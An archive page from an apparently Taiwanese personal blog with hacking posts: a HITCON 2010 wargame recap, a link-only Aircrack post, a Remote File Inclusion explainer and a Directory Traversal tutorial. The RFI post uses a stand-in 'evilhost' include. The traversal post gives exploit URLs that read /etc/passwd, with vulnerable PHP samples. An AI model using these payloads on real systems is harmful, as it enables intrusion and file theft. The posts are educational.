EragonJ's World

About me

Archive for the ‘Hack’ tag

[News] Hitcon 2010 !!

without comments

小弟這次有幸能夠當Hitcon 2010的工作人員,因此就趁這次難得的機會去體驗一下駭客的文化,雖然這次不是第一次去了。


在這次的活動中,我和人帥真好的Crboy及人正真好的Python GirlーMosky一起負責場務組的B門,也就是Wargame的小門。不過一直守門也無聊,Crboy就提議我們以B的名字來報隊玩Wargame(因為BTeam這個名字被人帥真好的BlueT他們取走了,可能是和剛上映的ATeam有關吧)。


不玩還好,一玩三個人就上癮了,開始瘋狂的無所不用其及的想要破關,不過因為我們都是第一次下去玩Wargame,所以能解的題目有限,但是還是讓我們解到第11名,雖然有一題海棉寶寶的圖題是BlueT提供想法去觸發我們解題的,不過我們還是靠我們三個有限的大腦解出了幾題!!


(先偷偷的放個圖做個紀念一下,點我看Wargame名人堂



題目中最讓我印象深刻的就是ISBN的那題,給我們Barcode及鍵盤被打擊的機率要我們找出書名,那題真的是超適合我們這組的,因為我們先查出Barcode藏了「HINT is 158XXXXXXXP」(好像是這樣),然後我就和小畢去推那個鍵盤的機率,算出最有可能出現的數字及其個數大概是多少個,然後再請Mosky用Python快速的寫出程式來跑出所有可能的情況,之後發現是36組ISBN的值是最有可能的。最後我就負責寫一段PHP code來查速查出anobii上所有ISBN代表的書名。


結果,我們就成功的找出第七組還是第八組ISBN代表的是這本Ans

,沒錯,書名就是這個,也就是這題最後的答案!!真是超開心的呀,這題30分耶!


之所以讓我印象深刻是因為這一題完美的結合了我們三個人的能力,而且快速又漂亮地解出來,也是最代表B的一題呀!!如果下次還有機會的話一定要再組一次隊和大家再去玩一次Wargame!


Hitcon 2011,我們下次見:D


後記,剛好HIT2010的照片出來了,把B的照片連過來做個紀念:
B


B

Written by admin

July 23rd, 2010 at 12:17 am

Posted in News

Tagged with , , , , , , , , , , , , ,

[Hack] How to crack wireless? – With Aircrack

without comments

老師說寫作文要破題,直接看影片比較快XD,

下次一定要自己來試試看整個流程看看能不能成功!!

Written by admin

February 2nd, 2010 at 1:28 am

Posted in Hack

Tagged with , ,

[Hack] Remote File Inclusion

without comments

之前意外的發現一個web可以透過RFI的方式進入,但是我一直try都沒有辦法讓他include正確的外部phpinfo.php,結果在今天意外的看到一篇文章才了解到問題所在:


<?php
include($dir."/ attack.php");
?>

上例中“$dir”一般是一個在執行代碼前已經設定好的路徑,如果攻擊者能夠使得“$dir”沒有被設定的話,那麼他就可以改變這個路徑。但是攻擊者並不能做任何事情,因為他們只能在他們指定的路徑中訪問檔案“attack.php”。但是由於有了對遠程檔案的支援,攻擊者就可以做任何事情。例如,攻擊者可以在某台伺服器上放一個檔案“attack.php”,裡麵包含了惡意代碼,然後把“$dir”設定為“http://evilhost/”,這樣我們就可以在目標主機上執行上面的惡意代碼,將結果返回到客戶的瀏覽器中。

需要注意的是,攻擊伺服器(也就是evilhost)應該不能執行PHP代碼,否則攻擊代碼會在攻擊伺服器,而不是目標伺服器執行。

…取自Phate

所以可以了解的是,因為我之前是直接include到我的機器上,所以該phpinfo.php顯示的是我自己機器的資料,這樣是我無法接受的。於是改上傳到一個沒有能夠解析.php的空間上,用RFI直接include就可以了。

前提: 該server的php.ini要有開啟allow_url_fopen or allow_url_include,這樣RFI才會成功,要注意一下。

Written by admin

April 11th, 2009 at 12:03 pm

Posted in Hack

Tagged with , ,

[Hack] Directory Traversal

with one comment

來講一下Directory Traversal , 會想講的原因是因為有意外看到相關的資訊是藉由 DT 而跑出來的..

Live Demo(index.php):

<?php
//初始化參數
if(!$path)
{
$path="test";
$xpath ="";
}

define("PATHFIELD",0);
define("FILEFIELD",1);
define("EXTFIELD",2);

$class="xxxxxx"; //類別,在每個目錄的class.conf.php中有紀錄,若無則保持空白
$filecount=0; //Count file(not directory) num
$dircount=0; //Count dir num

$dir=@opendir($path);

//讀取目錄資料並至於陣列當中
while($file=@readdir($dir))
{
if(is_dir("$path/$file"))
{
if($file=="."||$file=="..")
continue;
$examdir[$dircount++]="$file";
}
else if(is_file("$path/$file"))
{
if($file=="class.conf.php")
require("$path/$file"); //取得目錄提示資料
$exten=substr($file,-3,3); //Get file extention
if(!strcasecmp($exten,"pdf")||!strcasecmp($exten,"gif")||!strcasecmp($exten,"zip"))
{
$examfile["$filecount"][PATHFIELD]="$path/$file";
$examfile["$filecount"][FILEFIELD]="$file";
$examfile["$filecount"][EXTFIELD]="$exten";
$filecount++;
}
}
}

討論:

從最前面就可以看到 , Programmer 在設計這個頁面的時候 , 並沒有考慮到 DT 的問題 , 所以就沒有對一些具有攻擊性的字做filter or 白名單過濾 , 所以當 $path 來個 “../” 就掰囉~從父目錄一直到根目錄都一覽無遺…

Demo PHP Code 1(index.php):

<?php
readfile('/home/xx/file/'.$_GET['file']);
?>

Exploit:

http://target/index.php?file=../../etc/passwd

討論:

結果Unix Like的passwd的檔案就會被顯示出來 = =”…

Demo PHP Code 2(index.php):

<?php
readfile('/home/xx/file/'.$_GET['file'].'.dat');
?>

Exploit:

http://target/index.php?file=../../etc/passwd

討論:

利用 NULL character 來把後面的.dat給無用化 , 這樣就可以讀到passwd的內容了..

防範:

利用basename()把後面的東西做filter , 像是在$path那邊可以改成這樣 ,

$path = str_replace('.','',$path);
$true_path = "/www/".basename($path);

則所有的’.'都會被換成’ ‘,這樣就可以再依個人需求做變化 , 大致上應該是不會有太多問題了

Written by admin

March 15th, 2009 at 3:25 pm

Posted in Hack

Tagged with ,